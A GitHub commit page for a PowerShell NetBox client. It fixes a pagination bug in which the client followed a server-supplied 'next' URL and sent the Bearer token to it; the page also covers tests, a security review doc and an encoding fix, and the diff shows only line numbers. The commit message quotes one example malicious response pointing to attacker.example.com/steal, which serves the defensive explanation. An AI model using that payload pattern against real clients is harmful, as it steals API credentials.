Commit 42f41d9
authored
security: Tier 2 review — pagination SSRF fix + threat model + supply-chain audit (#404)
* security: validate pagination 'next' URL origin + Tier 2 review doc
Addresses a HIGH finding from the 2026-04-18 Tier 2 security review
(STRIDE + OWASP API Top 10 + dependency/supply-chain audit):
InvokeNetboxRequest's -All pagination loop passed the server-returned
'next' URL straight into [System.UriBuilder]::new($nextUrl) and then
used the same Authorization headers to fetch it. A compromised NetBox
server or a successful HTTPS MITM could return:
{"next": "https://attacker.example.com/steal/?cursor=xxx"}
and the client would hand over the live Bearer token in plaintext.
OWASP API10:2023 — Unsafe Consumption of APIs, applied to a client.
Fix adds scheme + host + port comparison against the original request
URI. Mismatched origin throws a descriptive error instead of silently
following. This matches the default behaviour of modern browsers and
most HTTP client libraries regarding Authorization headers across
cross-origin redirects.
4 new unit tests:
- Different host → throws
- Scheme downgrade https→http → throws
- Port change → throws
- Matching scheme/host/port → follows normally (regression)
Review doc (docs/superpowers/reviews/2026-04-18-tier2-security-review.md)
captures the HIGH finding and 5 lower-severity items documented for
follow-up PRs (PSGallery runner version pinning, module code-signing,
Docker digest pinning, optional throttling, SECURITY.md).
Overall posture is strong: zero runtime dependencies, correct URL /
HTML encoding, no dynamic code execution, hardened file upload path,
and all Tier 1 auth/TLS hardening intact.
* security: use Uri.GetLeftPart(Authority) for origin comparison (Gemini round 1)
Gemini flagged the previous scheme/host/port triple-comparison as
unreliable for a real-world edge case:
[UriBuilder]::new('https', 'netbox.domain.com', 443, '/api/') → Port=443
[UriBuilder]::new('https://netbox.domain.com/api/?cursor=x') → Port=443 (default substituted)
...which is the same. But:
[UriBuilder]::new('https', 'host', -1, '/api/') → Port=-1
...would false-positive against any parsed URL that has a resolved
default port. While PowerNetbox's Connect-NBAPI always yields an
explicit port, the Uri.GetLeftPart(Authority) approach is strictly
more robust because it:
1. Normalises both URIs to canonical 'scheme://host[:port]' form
2. Omits the default port when it matches the scheme's default
3. Reduces the check to a single string equality
Verified empirically against the full truth table:
- same origin, with/without explicit default port: eq=True
- different host: eq=False
- different port (non-default): eq=False (e.g. ':8443')
- different scheme (https→http): eq=False
Added a 5th regression test covering the specific edge case Gemini
raised: URI constructed with explicit port 443, 'next' URL omits the
port. Both normalise to 'https://netbox.domain.com' — should follow.
82/82 Helpers tests pass.
* docs: sync tier 2 review doc with actual GetLeftPart(Authority) fix
Gemini round 2 caught that the review doc still showed the original
scheme/host/port triple-comparison snippet, while the merged code
uses Uri.GetLeftPart(Authority). Updated the snippet and explanation
to match the actual implementation, and bumped the test-count count
from 4 to 5 (the round-1 reply added an explicit-default-port
edge-case regression test).
Gemini's other round-2 comment is a repeat of the round-1 finding
against the pre-fix code — acknowledged but no action needed; the
fix from 0d65d7a is correct.
* fix: replace em-dashes with ASCII hyphens in Helpers tests
PS 5.1 on Windows parses .ps1 files as Windows-1252 when no UTF-8 BOM
is present, which causes non-ASCII characters (em-dash U+2014, etc.)
to produce confusing "Missing closing '}' in statement block" errors
at parse time.
PR #404 introduced two em-dashes in test names and a comment:
- Context "Pagination next-URL origin validation (... review — TM-1/IV-1)"
- Inline comment "# No explicit port — UriBuilder fills ..."
Ubuntu / macOS PS 7 parsed them fine, but Windows PS 5.1 CI failed the
whole file's discovery. Same class of bug as v4.5.8.0 PR #398.
Fixed: replaced both em-dashes with ASCII hyphens. 82/82 Helpers tests
still pass locally.1 parent ee93fc8 commit 42f41d9
3 files changed
Lines changed: 447 additions & 2 deletions
File tree
- Functions/Helpers
- Tests
- docs/superpowers/reviews
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
110 | 110 | | |
111 | 111 | | |
112 | 112 | | |
113 | | - | |
114 | | - | |
| 113 | + | |
| 114 | + | |
| 115 | + | |
| 116 | + | |
| 117 | + | |
| 118 | + | |
| 119 | + | |
| 120 | + | |
| 121 | + | |
| 122 | + | |
| 123 | + | |
| 124 | + | |
| 125 | + | |
| 126 | + | |
| 127 | + | |
| 128 | + | |
| 129 | + | |
| 130 | + | |
115 | 131 | | |
116 | 132 | | |
117 | 133 | | |
| |||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
569 | 569 | | |
570 | 570 | | |
571 | 571 | | |
| 572 | + | |
| 573 | + | |
| 574 | + | |
| 575 | + | |
| 576 | + | |
| 577 | + | |
| 578 | + | |
| 579 | + | |
| 580 | + | |
| 581 | + | |
| 582 | + | |
| 583 | + | |
| 584 | + | |
| 585 | + | |
| 586 | + | |
| 587 | + | |
| 588 | + | |
| 589 | + | |
| 590 | + | |
| 591 | + | |
| 592 | + | |
| 593 | + | |
| 594 | + | |
| 595 | + | |
| 596 | + | |
| 597 | + | |
| 598 | + | |
| 599 | + | |
| 600 | + | |
| 601 | + | |
| 602 | + | |
| 603 | + | |
| 604 | + | |
| 605 | + | |
| 606 | + | |
| 607 | + | |
| 608 | + | |
| 609 | + | |
| 610 | + | |
| 611 | + | |
| 612 | + | |
| 613 | + | |
| 614 | + | |
| 615 | + | |
| 616 | + | |
| 617 | + | |
| 618 | + | |
| 619 | + | |
| 620 | + | |
| 621 | + | |
| 622 | + | |
| 623 | + | |
| 624 | + | |
| 625 | + | |
| 626 | + | |
| 627 | + | |
| 628 | + | |
| 629 | + | |
| 630 | + | |
| 631 | + | |
| 632 | + | |
| 633 | + | |
| 634 | + | |
| 635 | + | |
| 636 | + | |
| 637 | + | |
| 638 | + | |
| 639 | + | |
| 640 | + | |
| 641 | + | |
| 642 | + | |
| 643 | + | |
| 644 | + | |
| 645 | + | |
| 646 | + | |
| 647 | + | |
| 648 | + | |
| 649 | + | |
| 650 | + | |
| 651 | + | |
| 652 | + | |
| 653 | + | |
| 654 | + | |
| 655 | + | |
| 656 | + | |
| 657 | + | |
| 658 | + | |
| 659 | + | |
| 660 | + | |
| 661 | + | |
| 662 | + | |
| 663 | + | |
| 664 | + | |
| 665 | + | |
| 666 | + | |
| 667 | + | |
| 668 | + | |
| 669 | + | |
| 670 | + | |
| 671 | + | |
| 672 | + | |
| 673 | + | |
| 674 | + | |
| 675 | + | |
| 676 | + | |
| 677 | + | |
| 678 | + | |
| 679 | + | |
| 680 | + | |
| 681 | + | |
| 682 | + | |
| 683 | + | |
572 | 684 | | |
573 | 685 | | |
574 | 686 | | |
| |||
0 commit comments